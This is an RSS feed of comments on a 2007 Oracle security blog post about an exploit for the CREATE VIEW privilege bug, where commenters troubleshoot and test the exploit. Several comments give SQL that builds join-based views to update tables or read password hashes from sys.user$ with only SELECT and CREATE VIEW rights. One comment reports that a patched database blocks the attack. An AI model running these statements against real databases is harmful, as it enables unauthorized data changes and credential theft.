<?xml version="1.0" encoding="UTF-8"?><!-- generator="wordpress/2.2.1" -->
<rss version="2.0" 
	xmlns:content="http://purl.org/rss/1.0/modules/content/">
<channel>
	<title>Kommentare zu: Exploit for Create View Problem published</title>
	<link>http://blog.red-database-security.com/2007/07/22/exploit-for-create-view-problem-published/</link>
	<description>Oracle Security</description>
	<pubDate>Wed, 16 May 2012 23:47:52 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.2.1</generator>

	<item>
		<title>Von: seydon</title>
		<link>http://blog.red-database-security.com/2007/07/22/exploit-for-create-view-problem-published/#comment-87</link>
		<author>seydon</author>
		<pubDate>Mon, 30 Jul 2007 09:44:39 +0000</pubDate>
		<guid>http://blog.red-database-security.com/2007/07/22/exploit-for-create-view-problem-published/#comment-87</guid>
		<description>Thanks.
It's work!!!
With "left join" - dont't work.
With "...WHERE ID IN..." work perfect.
Version - 9.2.0.8.</description>
		<content:encoded><![CDATA[<p>Thanks.<br />
It&#8217;s work!!!<br />
With &#8220;left join&#8221; - dont&#8217;t work.<br />
With &#8220;&#8230;WHERE ID IN&#8230;&#8221; work perfect.<br />
Version - 9.2.0.8.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Von: Alexander Kornbrust</title>
		<link>http://blog.red-database-security.com/2007/07/22/exploit-for-create-view-problem-published/#comment-68</link>
		<author>Alexander Kornbrust</author>
		<pubDate>Fri, 27 Jul 2007 14:37:42 +0000</pubDate>
		<guid>http://blog.red-database-security.com/2007/07/22/exploit-for-create-view-problem-published/#comment-68</guid>
		<description>Seydon,

I don't see the problem. You need only SELECT and CREATE VIEW privileges.
What database version do you have? You could try the following view instead:

create or replace hackcontra as
&lt;specially crafted view&gt;

This was one of our testcases:
---------------------------
create view hackdual as
select * from dual
&lt;/specially&gt;&lt;specially crafted view&gt;

delete from hackdual;

rollback;&lt;/specially&gt;</description>
		<content:encoded><![CDATA[<p>Seydon,</p>
<p>I don&#8217;t see the problem. You need only SELECT and CREATE VIEW privileges.<br />
What database version do you have? You could try the following view instead:</p>
<p>create or replace hackcontra as<br />
<specially crafted view></p>
<p>This was one of our testcases:<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
create view hackdual as<br />
select * from dual<br />
</specially><specially crafted view></p>
<p>delete from hackdual;</p>
<p>rollback;</specially></p>
]]></content:encoded>
	</item>
	<item>
		<title>Von: seydon</title>
		<link>http://blog.red-database-security.com/2007/07/22/exploit-for-create-view-problem-published/#comment-65</link>
		<author>seydon</author>
		<pubDate>Fri, 27 Jul 2007 06:09:00 +0000</pubDate>
		<guid>http://blog.red-database-security.com/2007/07/22/exploit-for-create-view-problem-published/#comment-65</guid>
		<description>Hi.

Tried this.
dont work.

USERS PRIVILEGE:
CREATE SESSION
CREATE VIEW.

Have right for select on table Contragent.
Write script:
create or replace view test_hack_view as  select x.id, x.insiderid from cret.contragent x left outer join cret.contragent y on x.id=y.id;
update test_hack_view set insiderid='1' where id='12345';

GO/

and receive error:
ORA-01031: insufficient privileges.

Whats right I must have for this exploit?</description>
		<content:encoded><![CDATA[<p>Hi.</p>
<p>Tried this.<br />
dont work.</p>
<p>USERS PRIVILEGE:<br />
CREATE SESSION<br />
CREATE VIEW.</p>
<p>Have right for select on table Contragent.<br />
Write script:<br />
create or replace view test_hack_view as  select x.id, x.insiderid from cret.contragent x left outer join cret.contragent y on x.id=y.id;<br />
update test_hack_view set insiderid=&#8217;1&#8242; where id=&#8217;12345&#8242;;</p>
<p>GO/</p>
<p>and receive error:<br />
ORA-01031: insufficient privileges.</p>
<p>Whats right I must have for this exploit?</p>
]]></content:encoded>
	</item>
	<item>
		<title>Von: bunker</title>
		<link>http://blog.red-database-security.com/2007/07/22/exploit-for-create-view-problem-published/#comment-58</link>
		<author>bunker</author>
		<pubDate>Wed, 25 Jul 2007 14:30:27 +0000</pubDate>
		<guid>http://blog.red-database-security.com/2007/07/22/exploit-for-create-view-problem-published/#comment-58</guid>
		<description>You need the "select" privilege on sys.user$.

Otherwise you can try to create a similar view on another table, where you can do select, and make update, insert or delete on it!


Bye,

bunker</description>
		<content:encoded><![CDATA[<p>You need the &#8220;select&#8221; privilege on sys.user$.</p>
<p>Otherwise you can try to create a similar view on another table, where you can do select, and make update, insert or delete on it!</p>
<p>Bye,</p>
<p>bunker</p>
]]></content:encoded>
	</item>
	<item>
		<title>Von: Andre van Winssen</title>
		<link>http://blog.red-database-security.com/2007/07/22/exploit-for-create-view-problem-published/#comment-55</link>
		<author>Andre van Winssen</author>
		<pubDate>Wed, 25 Jul 2007 09:32:54 +0000</pubDate>
		<guid>http://blog.red-database-security.com/2007/07/22/exploit-for-create-view-problem-published/#comment-55</guid>
		<description>Alex,
I tried the bunkerview on a 10203 database which had patch 7 (6038241) applied which is also labeled as cpu APRIL 2007 and it failed. So looks like it was already fixed before Cpu July 2007 came out. I have the feeling that Oracle releases security fixes in between cpu's as well.

Below's the patch history on windows 32 it platform for 10.2.0.3 since cpu april 2007:

6116131 PATCH 8 WINDOWS 32 BIT 10.2.0.3 17-JUL-2007 (First Cpu July 2007)
6038241 PATCH 7 WINDOWS 32 BIT 10.2.0.3 05-JUL-2007 
6012742 PATCH 6 WINDOWS 32 BIT 10.2.0.3 07-JUN-2007
5946186 PATCH 5 WINDOWS 32 BIT 10.2.0.3 19-MAY-2007
5948242 PATCH 4 WINDOWS 32 BIT 10.2.0.3 17-APR-2007 (First Cpu April 2007)



SQL&#62; show user
USER is "HEK"
SQL&#62; select * from user_sys_privs;

USERNAME                       PRIVILEGE                                ADM
------------------------------ ---------------------------------------- ---
HEK                            CREATE SESSION                           NO
HEK                            CREATE VIEW                              NO

SQL&#62; get bunkerview2
  1  create or replace view bunkerview as
  2  select x.name,x.password from sys.user$ x left outer join sys.user$ y on
  3* x.name=y.name
SQL&#62; /
select x.name,x.password from sys.user$ x left outer join sys.user$ y on
                                  *
ERROR at line 2:
ORA-00942: table or view does not exist</description>
		<content:encoded><![CDATA[<p>Alex,<br />
I tried the bunkerview on a 10203 database which had patch 7 (6038241) applied which is also labeled as cpu APRIL 2007 and it failed. So looks like it was already fixed before Cpu July 2007 came out. I have the feeling that Oracle releases security fixes in between cpu&#8217;s as well.</p>
<p>Below&#8217;s the patch history on windows 32 it platform for 10.2.0.3 since cpu april 2007:</p>
<p>6116131 PATCH 8 WINDOWS 32 BIT 10.2.0.3 17-JUL-2007 (First Cpu July 2007)<br />
6038241 PATCH 7 WINDOWS 32 BIT 10.2.0.3 05-JUL-2007<br />
6012742 PATCH 6 WINDOWS 32 BIT 10.2.0.3 07-JUN-2007<br />
5946186 PATCH 5 WINDOWS 32 BIT 10.2.0.3 19-MAY-2007<br />
5948242 PATCH 4 WINDOWS 32 BIT 10.2.0.3 17-APR-2007 (First Cpu April 2007)</p>
<p>SQL&gt; show user<br />
USER is &#8220;HEK&#8221;<br />
SQL&gt; select * from user_sys_privs;</p>
<p>USERNAME                       PRIVILEGE                                ADM<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212; &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;- &#8212;<br />
HEK                            CREATE SESSION                           NO<br />
HEK                            CREATE VIEW                              NO</p>
<p>SQL&gt; get bunkerview2<br />
  1  create or replace view bunkerview as<br />
  2  select x.name,x.password from sys.user$ x left outer join sys.user$ y on<br />
  3* x.name=y.name<br />
SQL&gt; /<br />
select x.name,x.password from sys.user$ x left outer join sys.user$ y on<br />
                                  *<br />
ERROR at line 2:<br />
ORA-00942: table or view does not exist</p>
]]></content:encoded>
	</item>
</channel>
</rss>

